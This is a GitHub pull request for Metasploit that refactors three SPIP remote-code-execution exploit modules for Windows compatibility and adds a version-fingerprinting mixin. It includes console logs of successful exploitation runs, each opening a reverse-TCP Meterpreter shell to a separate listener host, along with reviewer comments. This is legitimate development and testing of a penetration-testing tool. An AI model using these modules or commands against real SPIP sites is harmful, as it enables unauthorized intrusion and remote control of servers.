Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactoring SPIP Modules for Windows Compatibility and Incorporating SPIP Mixin #19432

Merged
merged 13 commits into from
Sep 11, 2024

Conversation

Chocapikk
Copy link
Contributor

@Chocapikk Chocapikk commented Aug 30, 2024

Hi Metasploit Team,

I've been working on refactoring the SPIP modules to ensure compatibility with Windows and to adapt them to the new module syntax. This work is aimed at enhancing integration and improving cross-platform compatibility.

Modules Affected:

  • exploit/multi/http/spip_rce_form (Moved from exploit/unix/webapp)
  • exploit/multi/http/spip_connect_exec (Moved from exploit/unix/webapp)
  • exploit/multi/http/spip_porte_plume_previsu_rce

Updates:

Unfortunately, I encountered some issues with the previous Pull Request #19406 due to mistakes I made with Git. As a result, I closed the old PR and have opened this new one. I've also made a specific update to the SPIP mixin to handle older SPIP versions that include extra information like [number] after the version number (e.g., 2.0.0 [14344]). The new regex now correctly extracts just the version number, ensuring better accuracy with older versions.

Tests:

I've conducted the following tests to verify the functionality of the refactored modules:

  • exploit/multi/http/spip_connect_exec

    msf6 > use exploit/multi/http/spip_connect_exec
    [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/spip_connect_exec) > run http://127.0.0.1:8000
    
    [*] Started reverse TCP handler on 192.168.1.36:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] SPIP Version detected: 2.0.0
    [+] The target appears to be vulnerable.
    [*] 127.0.0.1:8000 - Attempting to exploit...
    [*] Sending stage (39927 bytes) to 192.168.1.36
    [*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:45464) at 2024-08-30 19:12:32 +0200
    
    meterpreter > sysinfo 
    Computer    : linux
    OS          : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
    Meterpreter : php/linux
    
  • exploit/multi/http/spip_rce_form

    msf6 > use exploit/multi/http/spip_rce_form
    [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000
    
    [*] Started reverse TCP handler on 192.168.1.36:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] SPIP Version detected: 4.2.0
    [+] The target appears to be vulnerable.
    [*] Got anti-csrf token: 83/hhNa3hlvwCQWuenlrFubV3vJJAwKByo9FpxJXoESn3YLD2EaqHzjNhwOMhaHXMzRfaDtxgD9aiaN7tRU+GudPOUzEKdmhTg==
    [*] 127.0.0.1:8000 - Attempting to exploit...
    [*] Sending stage (39927 bytes) to 192.168.1.36
    [*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:47222) at 2024-08-30 19:24:10 +0200
    
    meterpreter > sysinfo 
    Computer    : linux
    OS          : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
    Meterpreter : php/linux
    meterpreter > 
    
  • exploit/multi/http/spip_porte_plume_previsu_rce

    msf6 > use exploit/multi/http/spip_porte_plume_previsu_rce
    [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
    
    [*] Started reverse TCP handler on 192.168.1.36:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] SPIP Version detected: 4.2.12
    [+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
    [*] Preparing to send exploit payload to the target...
    [*] Sending exploit payload to the target...
    [*] Sending stage (39927 bytes) to 192.168.1.36
    [*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:40988) at 2024-08-30 19:44:26 +0200
    
    meterpreter > sysinfo 
    Computer    : linux
    OS          : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
    Meterpreter : php/linux
    meterpreter > 
    

@dwelch-r7 dwelch-r7 self-assigned this Aug 30, 2024
Comment on lines 11 to 12
The module's `check` method attempts to obtain the SPIP version via a simple HTTP
GET request to the `/spip.php` page and fingerprints it either via the `generator` meta tag or the `Composed-By` header.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this is needed.

Comment on lines 45 to 95
# Determine Spip plugin version by name
#
# @param [String] plugin_name Name of the plugin to search for
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
def spip_plugin_version(plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php')
)

return unless res

# Check the Composed-By header for plugin version or config.txt URL
composed_by = res.headers['Composed-By']
return unless composed_by

# Case 1: Look for config.txt URL in the header
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
config_url = ::Regexp.last_match(1)
vprint_status("Found config.txt URL: #{config_url}")

# Fetch and parse the config.txt file directly
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)

if config_res&.code == 200
return parse_plugin_version(config_res.body, plugin_name)
end
end

# Case 2: Check for plugin version directly in Composed-By
composed_by.split(',').each do |entry|
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
return Rex::Version.new(::Regexp.last_match(1))
end
end

# Case 3: Fallback to fetching /local/config.txt directly
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)

return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200

nil
end
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In this update, I’ve added the spip_plugin_version function to retrieve the version of a specified plugin from a SPIP instance.

Here’s what the new function does:

  1. Checks the Composed-By header: It parses this header to extract the plugin version, if available.
  2. Fetches from local/config.txt: If a URL for local/config.txt is provided in the header, the function retrieves the version from there.
  3. Direct fallback to local/config.txt: If no version is found, the function attempts to directly access /local/config.txt to fetch the plugin version.

Example with exploit/multi/http/spip_porte_plume_previsu_rce:

msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.12
[*] SPIP version is in the vulnerable range.
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) and porte_plume version (3.1.5) are vulnerable.
[*] Preparing to send exploit payload to the target...
[*] Sending exploit payload to the target...
[*] Sending stage (39927 bytes) to 192.168.1.36
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:59732) at 2024-09-04 22:04:05 +0200

@Chocapikk Chocapikk force-pushed the spip-fix branch 2 times, most recently from 2e3f31e to 43fabb0 Compare September 8, 2024 02:56
@dwelch-r7 dwelch-r7 merged commit 9de9b52 into rapid7:master Sep 11, 2024
63 checks passed
@dwelch-r7 dwelch-r7 added the rn-enhancement release notes enhancement label Sep 11, 2024
@dwelch-r7
Copy link
Contributor

Release Notes

Refactor SPIP Modules for Windows Compatibility and Incorporating SPIP Mixin

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants